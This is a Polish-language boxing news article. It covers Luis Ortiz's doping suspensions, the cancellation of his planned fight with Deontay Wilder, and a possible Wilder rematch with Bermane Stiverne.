11 września 2014, Hard Rock Hotel and Casino w Las Vegas. Luis Ortiz w pierwszej rundzie położył na deski Lateefa Kayode i sięgnął po tymczasowy pas mistrza świata WBA. Radość „King Konga” nie trwała jednak długo. Kilka dni później okazało się, że test antydopingowy wykonany po walce dał wynik pozytywny. Kubańczyk stosował nandrolon. Luis Ortiz przekonywał komisję stanu Nevada, że nie zna specyfiku, ale nikt mu nie uwierzył. Walkę z Kayode uznano za nieodbytą, a Ortiz musiał oddać 10 procent wynagrodzenia za pojedynek i został zawieszony na dziewięć miesięcy. 

Na ring bokser urodzony w Camaguey wrócił 20 czerwca 2015 roku. W Montrealu pokonał przed czasem Byrona Polley'a, a cztery miesiące później ponownie walczył o tymczasowy pas WBA. Kubańczyk pokonał w trzeciej rundzie Matiasa Ariel Vidondo i sięgnął po tytuł. Ortiz wygrał cztery kolejne walki, co pozwoliło mu aspirować do rywalizacji o najwyższe laury. Dostał szansę, już wszystko było gotowe, scena czekała, ale… Stare grzechy powróciły. Tym razem Kubańczyk miał stosować niedozwolone środki celem obniżenia ciśnienia krwi.

Były promotor Ortiza Eddie Hearn nazywa pięściarza „idiotą”. Obóz Kubańczyka broni się, a sam bokser twierdzi, że jest czysty. Marzenia o walce tytanów wagi ciężkiej „prysły niczym bańka mydlana”. Wilder może załamywać ręce. To kolejny przypadek, że jego rywal został przyłapany na dopingu. Wcześniej z tego powodu nie doszło do starcia Amerykanina z Andrzejem Wawrzykiem i Aleksandrem Powietkinem. Sam mistrz WBC podkreśla swoją gotowość do rywalizacji z Ortizem. Jeśli nie dojdzie do tego starcia, Wilder chce walczyć 4 listopada z innym rywalem.

Stiverne?

Ostatni pojedynek Deontay Wilder stoczył w lutym w Birmingham, gdzie uporał się z Geraldem Washingtonem. Amerykanin ponownie chciałby wejść do ringu. 4 listopada Wilder mógłby spotkać się w rewanżowym starciu z Bermane Stivernem. To jemu w styczniu 2015 roku Amerykanin odebrał pas WBC.

Z tym, że blisko 39-letni bokser urodzony na Haiti na 4 listopada ma zaplanowaną walkę z Dominikiem Breazealem. Wiele wskazuje na to, że ten ostatni mógłby wtedy rywalizować z Dillianem Whyte'm. Z kolei Stiverne jest obowiązkowym pretendentem do pasa WBC, więc nadarza się znakomita okazja, aby ponownie spotkać się z Wilderem. Na rozwój wypadków trzeba poczekać.

Fot. skysports.com

KM